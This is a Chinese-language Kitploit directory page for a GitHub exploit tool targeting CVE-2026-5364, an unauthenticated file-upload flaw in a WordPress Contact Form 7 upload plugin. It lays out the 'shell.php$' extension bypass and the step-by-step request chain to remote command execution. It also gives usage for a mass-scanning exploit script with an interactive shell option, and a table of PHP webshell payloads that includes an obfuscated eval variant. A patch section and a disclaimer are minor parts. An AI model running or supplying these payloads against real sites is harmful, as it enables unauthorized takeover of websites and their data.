Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5364 — CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-5364
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5364

CVE-2026-5364 是一个 CVSS 8.1(高危)未认证任意文件上传漏洞,存在于 Drag and Drop File Upload for Contact Form 7 插件中。

CVE-2026-5364 — CF7 拖放文件上传 RCE

通过 sanitize_file_name() 绕过实现未认证任意文件上传 CVSS 8.1(高危) | 受影响:<= 1.1.3 | 已修复:1.1.4


📋 概述

字段值
CVE IDCVE-2026-5364
插件Drag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1(高危)
向量CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
受影响版本<= 1.1.3
已修复版本1.1.4
研究人员Thomas Sanzey
发布日期2026年4月23日

🔍 漏洞摘要

该插件在 经过 sanitize_file_name() 清理 之前 读取文件扩展名。 攻击者上传一个名为 shell.php$ 的文件:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← 绕过黑名单
sanitize_file_name('shell.php$')            →  'shell.php'  ← 以 PHP 文件保存

三个独立的弱点串联而成:

  1. 攻击者可控制的白名单 — type POST 参数从用户读取
  2. 在 sanitize 之前获取扩展名 — pathinfo() 应用于原始文件名
  3. 延迟的 sanitization — wp_unique_filename() 内部的 sanitize_file_name() 会删除 $ 字符

⚙️ 安装

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

要求

  • Python 3.8+
  • requests 库
  • 目标:WordPress + CF7 D&D Upload <= 1.1.3 + 包含 CF7 表单的页面

🚀 使用

单目标

root@kitploit:~
# 基础利用(id 命令)
python CVE-2026-5364.py -u https://target.com

# 自定义命令
python CVE-2026-5364.py -u https://target.com -c "whoami"

# 交互式 Shell
python CVE-2026-5364.py -u https://target.com --interactive

# 不同 Shell 类型
python CVE-2026-5364.py -u https://target.com --shell exec

# 详细输出 + 代理
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

批量扫描

root@kitploit:~
# 20 线程扫描
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# 也尝试已修补版本
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# 保存结果到文件
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

全部参数

root@kitploit:~
目标:
  -u, --url URL         单目标 URL
  -l, --list FILE       目标列表(每行一个 URL)

利用:
  -c, --cmd CMD         OS 命令(默认:id)
  --shell TYPE          Webshell 类型:basic|exec|pass|eval|info
  -i, --interactive     打开交互式 Shell
  --no-skip-patched     也尝试已修补版本

扫描:
  -t, --threads N       线程数(默认:10)
  --timeout S           超时秒数(默认:15)
  --proxy URL           代理地址

输出:
  -o, --output FILE     结果文件
  -v, --verbose         详细输出
  --no-color            无颜色输出

🐚 Webshell 类型


🔬 技术细节

利用链

root@kitploit:~
1. Nonce 检测
   └─ wp_localize_script() 公开给每位访客
      GET /contact/ → HTML 中包含 "nonce":"abc123def4"

2. 上传 Shell
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← 不在黑名单中
      file=shell.php$    ← sanitize_file_name() → shell.php

3. 获取 URL
   └─ 响应:{"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

绕过字符

sanitize_file_name() 删除的字符:

root@kitploit:~
$  %  ~  `  (空格)

工具会自动尝试所有绕过字符。


🛡️ 缓解因素


🩹 解决方案

将插件更新至 1.1.4 或更高版本。

root@kitploit:~
# 使用 WP-CLI 更新
wp plugin update drag-and-drop-file-upload-for-contact-form-7

代码修复(1.1.4)

root@kitploit:~
// 错误(1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// 正确(1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type 参数现在从管理员设置读取
$type = $this->get_admin_allowed_types($form_id);  // 而非从 POST 读取

⚠️ 法律免责声明

此工具 仅用于教育和防御目的的安全研究。 未经授权在系统上使用是禁止的,并可能产生法律后果。请仅在 获得授权 的系统上使用。


📄 参考

  • Wordfence 公告
  • WordPress 插件页面
  • NVD CVE-2026-5364
  • sanitize_file_name() 文档
下载工具
类型Payload用途
basic<?php system($_GET["cmd"]); ?>通用
exec<?php echo shell_exec($_GET["cmd"]); ?>完整输出
pass<?php passthru($_GET["cmd"]); ?>二进制输出
eval<?php @eval(base64_decode($_POST["x"])); ?>隐蔽/WAF 绕过
info<?php phpinfo(); ?>PHP 信息
因素影响
Apache .htaccess(Content-Disposition: attachment)阻止 PHP 执行
Nginx / LiteSpeed.htaccess 无效 — RCE 可行
随机文件名(uniqid())AJAX 响应返回 URL,因此 无效
NonceCSRF 保护 — 非身份验证,无效